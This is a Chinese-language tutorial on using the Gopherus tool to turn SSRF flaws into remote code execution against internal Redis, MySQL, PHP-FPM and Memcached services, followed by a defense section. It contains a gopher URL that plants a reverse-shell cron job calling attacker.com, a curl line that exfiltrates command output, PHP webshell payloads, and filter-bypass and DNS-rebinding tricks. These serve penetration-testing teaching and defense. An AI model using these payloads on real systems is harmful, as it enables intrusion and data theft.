Gopherus工具:利用SSRF漏洞通过Gopher协议实现内网RCE攻击 1. 项目概述从SSRF到RCE的桥梁在渗透测试和CTF竞赛中SSRF服务器端请求伪造漏洞常常被看作一个“信息泄露”或“内网探测”的入口点。很多新手挖到SSRF后兴奋地用它扫一扫内网IP和端口发现几个没见过的服务然后……就不知道下一步该做什么了。这就像你发现了一扇通往隔壁房间的暗门却只在门口张望了一下没有真正走进去探索宝藏。Gopherus工具的出现彻底改变了这种局面。它不是一个简单的漏洞利用脚本而是一个将SSRF这个“侦察兵”转化为“攻城锤”的协议转换器其核心价值在于它能将SSRF的请求能力通过古老的Gopher协议转换成攻击内网Redis、MySQL、FastCGI、Memcache等服务的利器最终实现远程代码执行RCE。简单来说Gopherus为你提供了一套标准化的“攻击载荷模板”。当你通过SSRF漏洞能够向一个内网IP的特定端口比如6379的Redis发送任意TCP数据流时Gopherus能帮你生成一段符合Gopher协议格式的Payload。这段Payload一旦被目标服务器如Redis接收并解析就能执行预置的命令例如在Redis中写入Webshell在MySQL中执行系统命令从而将SSRF的“读”能力质变为RCE的“写”与“执行”能力。它极大地降低了从SSRF到RCE的利用门槛将复杂的协议交互和Payload构造过程自动化使其成为红队和CTF选手武器库中不可或缺的“终极武器”。2. Gopherus工具的核心原理与协议剖析要理解Gopherus的强大必须先理解它赖以运作的基石Gopher协议和SSRF漏洞的本质结合点。2.1 Gopher协议被遗忘的“万能钥匙”Gopher是一个比HTTP还要古老的互联网协议设计于1991年。它的一个关键特性是协议无状态且文本简单。一个Gopher客户端向服务器发送的请求本质上就是一行以CRLF\r\n结尾的文本命令后面紧跟一个句点.和另一个CRLF表示结束。服务器则会返回相应的文档或目录列表。Gopherus巧妙地利用了这一点Gopher协议可以封装任意的TCP数据流。这意味着我们可以构造一个特殊的Gopher URL当服务器存在SSRF漏洞的服务器去请求这个URL时它发出的TCP数据包内容完全由我们通过Gopher URL来控制。这个数据包可以被发送到任意内网服务的任意端口。例如一个攻击内网Redis的Gopher URL可能长这样gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i /dev/tcp/attacker.com/4444 01%0a%0a%0a%0a%0d%0aquit%0d%0a这个看似混乱的字符串经过URL解码和Gopher协议解析后会被还原成Redis服务器能理解的RESP协议格式的命令序列。SSRF漏洞服务器就像一个“信使”拿着我们写好的“密信”Gopher Payload直接送到了内网Redis服务的“手上”。2.2 SSRF漏洞为何能与Gopher珠联璧合SSRF漏洞允许攻击者诱使服务器向任意地址发起网络请求。常见的触发点包括能够输入URL的功能点如图片上传、URL预览、数据获取。引用外部资源的参数如file、path、url。一些服务端请求的API。这些漏洞点通常只允许使用HTTP/HTTPS协议。但Gopher协议的URL格式gopher://在很多网络库中依然被支持尤其是libcurl。当后端使用curl、file_get_contents配合某些PHP配置等函数处理URL时gopher://往往能被成功解析并请求。这就为我们提供了一个协议跳板将原本可能只支持HTTP的SSRF升级为可以发送任意TCP流的强大攻击向量。注意并非所有环境都支持Gopher协议。Java的URLConnection默认就不支持。因此在实战中探测目标后端是否支持Gopher是第一步。可以通过尝试请求gopher://127.0.0.1:22/_SSH端口并观察响应时间或错误信息来判断。如果请求很快返回或报错可能不支持如果请求长时间挂起因为尝试连接SSH端口则很可能支持。2.3 Gopherus的工作流程自动化Payload工厂Gopherus将上述复杂的手工构造过程自动化了。其工作流程清晰明了选择攻击模块用户指定要攻击的服务类型如Redis、MySQL、FastCGI等。输入参数根据模块要求提供必要参数例如攻击的IP、端口、要写入的Webshell路径、要执行的命令、反弹Shell的地址等。生成Payload工具内部根据对应服务的通信协议RESP for Redis, SQL for MySQL等构造出正确的命令序列然后将这些原始TCP数据流进行Gopher协议编码主要是添加前缀、进行URL编码。输出利用链最终给用户生成一个完整的、可以直接在SSRF点使用的Gopher URL。用户只需将这个URL提交给存在SSRF的服务器攻击链便会自动执行。这个过程隐藏了协议细节、编码转换和命令构造的复杂性让渗透测试人员可以专注于漏洞利用的逻辑本身。3. Gopherus实战应用针对不同服务的攻击链拆解Gopherus支持多种服务每种服务的利用链都有其独特之处。下面我们深入拆解几个最经典和常见的场景。3.1 攻击Redis服务写入Webshell与计划任务Redis因其默认无认证、高性能的特性在内网中非常常见是SSRF到RCE的“头号目标”。核心原理利用Redis的CONFIG SET命令修改持久化文件路径为Web目录然后通过SET命令将Webshell代码写入一个键的值中最后用SAVE或BGSAVE命令触发持久化从而在Web目录生成一个可执行的.php或.jsp文件。Gopherus操作示例 假设我们发现内网192.168.1.10:6379存在Redis服务并且Web根目录已知为/var/www/html。# 使用Gopherus生成Payload python gopherus.py --exploit redis # 交互式输入 Give Redis host: 192.168.1.10 Give Redis port: 6379 Give Webroot: /var/www/html Give PHP function: shell_exec # 选择一句话木马执行函数 Give cmd: whoami # 初始测试命令 # 工具会生成一个长长的Gopher URL生成的URL大致结构如前文所示。将其提交到SSRF漏洞点后漏洞服务器会向192.168.1.10:6379发送一个TCP流这个流包含以下关键命令CONFIG SET dir /var/www/htmlCONFIG SET dbfilename shell.phpSET payload ?php system($_GET[cmd]);?(实际内容会更复杂经过编码)SAVE实操心得与避坑指南路径问题Webroot必须绝对路径且Redis进程必须有写权限。在Docker或特定权限配置环境中可能需要尝试/tmp等目录。文件覆盖dbfilename如果设置为已存在的文件如index.php会覆盖原文件可能导致服务异常容易被发现。最好使用生僻文件名。防火墙与配置内网Redis可能配置了bind 127.0.0.1或启用了防火墙导致从SSRF服务器另一个IP无法连接。此时需要结合其他漏洞如Redis主从复制RCE或端口转发。无回显利用写入Webshell后如何知道是否成功可以尝试写入一个执行curl或wget命令访问我们监听端口的计划任务Payload通过外带流量判断。3.2 攻击MySQL服务利用INTO OUTFILE写入Shell当内网存在可远程连接的MySQL服务且知道弱口令或存在匿名登录时Gopherus可以构造特殊的SQL查询利用SELECT ... INTO OUTFILE语句向Web目录写入Webshell。核心原理MySQL的INTO OUTFILE语句可以将查询结果写入服务器上的一个文件。我们需要一个具有FILE权限的数据库用户通常是root或高权限用户。通过Gopherus我们模拟一个MySQL客户端登录并执行写入Webshell的查询。Gopherus操作示例python gopherus.py --exploit mysql # 输入数据库地址、端口、用户名、密码、Web目录、文件名和一句话木马工具会生成一个Payload模拟以下交互建立TCP连接发送MySQL握手包。发送登录认证数据包包含用户名、密码。发送查询包内容为SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php注意事项权限要求用户必须有FILE权限且MySQL的secure_file_priv系统变量不能设置为NULL空字符串或具体目录路径才可以。在MySQL 5.5版本中这是一个关键的防御点。路径转义Web目录路径中的斜杠需要正确处理且MySQL服务进程需要对目标目录有写权限。日志与检测这种操作会在MySQL的general log或慢查询日志中留下明显记录。在实战中需要权衡被发现的风险。3.3 攻击FastCGI服务PHP-FPM的未授权访问这是非常经典且高效的一种利用方式常出现在服务器配置不当将PHP-FPM的FastCGI服务端口如9000暴露在内网的情况下。核心原理FastCGI是一种进程间通信协议。我们可以直接向PHP-FPM的端口发送一个精心构造的FastCGI协议包其中包含恶意的PHP_VALUE或PHP_ADMIN_VALUE环境变量设置例如开启allow_url_include并指定auto_prepend_file为远程包含的URL最终实现代码执行。Gopherus操作示例python gopherus.py --exploit fastcgi # 输入目标IP、端口、Web目录路径Gopherus会生成一个FastCGI协议包其核心是设置‘PHP_VALUE’ ‘allow_url_include On’, ‘PHP_ADMIN_VALUE’ ‘auto_prepend_file php://input’然后将整个包封装进Gopher URL。当SSRF服务器将这个包发送给PHP-FPM后FPM会解析并应用这些设置。紧接着我们通常需要让SSRF服务器再发起一个HTTP请求携带PHP代码作为Body到目标Web服务触发代码执行。因此完整的利用链可能涉及两次SSRF请求。关键点与排查端口探测需要先通过SSRF扫描发现开放的9000端口。路径信息需要知道目标服务器上一个存在的PHP文件路径如/usr/local/nginx/html/index.php这个路径在FastCGI请求中需要被指定为SCRIPT_FILENAME。Gopherus通常需要这个参数。版本适配不同版本的PHP-FPM在协议细节上可能有微小差异生成的Payload可能需要调整。3.4 攻击Memcached服务UDP协议与反射放大攻击Memcached服务默认使用11211端口同时支持TCP和UDP。Gopherus也支持对其的攻击主要是数据污染或通过其执行命令如果配置了sasl认证且存在漏洞但较少见。更著名的利用是与SSRF结合进行UDP反射放大攻击。核心原理UDP反射Memcached的stats等命令查询会返回较大的数据包。攻击者可以通过SSRF伪造源IP为受害者IP向互联网上开放了UDP 11211端口的Memcached服务器发送一个小巧的查询请求。Memcached服务器会将巨大的响应数据包发送给受害者IP从而实现流量放大放大倍数可达数万倍用于DDoS攻击。虽然Gopherus主要生成TCP Payload但理解UDP反射的原理对于全面认识SSRF危害很重要。Gopherus的TCP利用对于TCP可能尝试向Memcached中插入恶意数据如果后端应用信任并反序列化了这些数据可能引发反序列化漏洞。但这需要特定的应用场景。4. 高级利用技巧与绕过防御策略随着防御手段升级原始的Gopherus Payload可能直接失效。掌握以下技巧能提升在复杂环境中的成功率。4.1 协议探测与指纹识别在盲目攻击前信息收集至关重要。端口扫描利用SSRF进行内网端口扫描如从1-65535识别开放了Redis(6379)、MySQL(3306)、FastCGI(9000)、Memcached(11211)、SSH(22)等端口的IP。服务指纹对于开放端口可以尝试发送一些协议特定的“探针”Payload。例如向6379端口发送*1\r\n$4\r\nPING\r\n如果返回PONG\r\n则可确认为Redis。Gopherus可以手动构造这些探针。错误信息分析不同服务对畸形协议数据的错误返回不同通过分析SSRF返回的错误内容或响应时间可以辅助判断后端服务类型。4.2 编码与特殊字符绕过SSRF漏洞点可能对输入进行过滤如检查CRLF、空格、特定关键词如file、gopher等。URL双重编码将生成好的Gopher URL再进行一次完整的URL编码。某些过滤逻辑可能只做一次解码。使用短标签在PHP Webshell中使用?代替?php可能绕过简单的?php关键词过滤。协议混淆尝试GOPHER://、gOpHeR:等大小写变种或者利用某些解析器的特性如localhost、localhost%0a等方式绕过黑名单。利用DNS重绑定如果SSRF点对目标IP有黑名单限制如禁止127.0.0.1可以结合DNS重绑定技术。注册一个域名将其A记录在短时间内先后指向攻击者控制的IP和127.0.0.1。当SSRF服务器第一次解析域名得到外网IP通过检查后第二次请求时DNS记录已变更为127.0.0.1从而绕过IP限制。4.3 无回显场景下的利用与外带数据很多时候SSRF漏洞没有回显Blind SSRF我们无法直接看到命令执行的结果。时间盲注通过构造执行sleep命令的Payload根据响应时间判断命令是否执行成功。例如在Redis中写入一个执行sleep 5的计划任务。DNS外带让目标服务器执行nslookup或curl命令将命令执行结果作为子域名的一部分发送到攻击者控制的DNS服务器。例如执行whoami得到结果root则让目标访问root.attacker.com攻击者在DNS日志中就能看到root这个子域名解析请求。HTTP外带类似DNS外带使用curl或wget将结果作为URL参数发送到攻击者的Web服务器。curl http://attacker.com/?result$(whoami|base64)。反向连接最直接的方式写入一个反弹Shell的Payload如通过crontab或Webshell让目标服务器主动连接到攻击者的监听端口。4.4 工具局限性与手动构造PayloadGopherus虽然强大但并非万能。协议更新目标服务可能升级了协议如Redis的新版ACL认证Gopherus的默认Payload可能失效。自定义需求工具生成的Payload是通用的在特定环境下可能需要调整例如写入的Webshell需要绕过WAF、命令需要特殊编码等。学习手动构造真正的高手需要理解其原理能够手动使用nc、socat等工具模拟协议交互并用Python脚本进行Gopher编码。这能让你在工具失效时依然有能力进行攻击。手动构造的过程通常是先用nc本地测试好命令序列 - 将原始TCP流进行URL编码 - 添加Gopher前缀gopher://host:port/_ 编码后的数据。5. 防御视角如何防范Gopherus类攻击了解了攻击手段从防御者角度我们可以构建多层防御体系。5.1 应用层防御开发阶段这是最根本的防御。输入验证与白名单对用户输入的URL进行严格校验。如果业务只需要HTTP/HTTPS则只允许http://和https://协议拒绝gopher://、file://、dict://、ftp://等危险协议。使用白名单机制只允许访问预设的、可信的域名和IP。禁用不必要的URL Schema在使用的网络库如libcurl或语言层面禁用对危险协议的支持。使用安全的解析函数避免使用直接接收URL字符串的函数。使用需要显式指定协议、主机、端口的方法并在代码层面进行控制。出口防火墙限制服务器向外发起请求的能力。只允许业务必需的出站流量如访问特定的API服务、OSS存储禁止服务器任意访问内网其他服务的端口。5.2 系统与网络层加固内网服务最小化暴露Redis、MySQL、Memcached、FastCGI等服务绝不要绑定在0.0.0.0上。应该只监听127.0.0.1或内网特定IP。并通过系统防火墙如iptables, firewalld严格限制访问源IP。启用认证与强密码为Redis、MySQL等服务设置强密码并启用认证机制。对于Redis使用requirepass配置对于MySQL删除匿名用户为root设置复杂密码。安全配置Redis禁用高危命令CONFIG,EVAL,FLUSHALL等使用rename-command配置。以非root用户运行。MySQL设置secure_file_priv为NULL或一个安全目录禁用INTO OUTFILE功能。限制用户的FILE权限。PHP-FPM监听Unix Socket而非TCP端口。如果必须用TCP设置监听127.0.0.1并配置访问控制列表listen.allowed_clients。Memcached禁用UDP协议-U 0使用SASL认证或通过防火墙严格限制访问源。网络隔离与微隔离将不同的业务组件划分到不同的VPC或子网中通过网络ACL和安全组策略实现东西向流量的严格控制。确保Web服务器无法直接访问数据库服务器的管理端口。5.3 监控与响应日志监控集中收集和分析服务器日志Web访问日志、应用错误日志、系统日志以及数据库审计日志。关注异常的网络连接请求特别是非常用端口、异常的SQL查询如INTO OUTFILE、异常的Redis命令序列如连续的CONFIG SET。文件完整性监控监控Web目录下是否有新的、异常的文件被创建如.php、.jsp文件特别是文件名异常的文件。入侵检测系统部署IDS/IPS设置规则以检测SSRF攻击特征如请求中包含gopher://、127.0.0.1、内网IP段等以及后续的横向移动行为如对6379、3306端口的连接尝试。定期安全评估通过内部红队演练或外部渗透测试主动寻找和修复潜在的SSRF及其他安全漏洞。Gopherus工具的出现将SSRF漏洞的威胁等级提升到了一个新的高度。它清晰地展示了安全领域的一个真理漏洞的杀伤力往往不取决于其本身而取决于攻击者将其与其他漏洞或错误配置串联起来的能力。对于攻击者而言掌握Gopherus意味着拥有了打开内网众多大门的万能钥匙对于防御者而言理解其原理则意味着知道该在哪里加固门锁、设置警报和安排守卫。在这个攻防不断演进的过程中深入理解工具背后的协议与原理远比单纯地使用工具更为重要。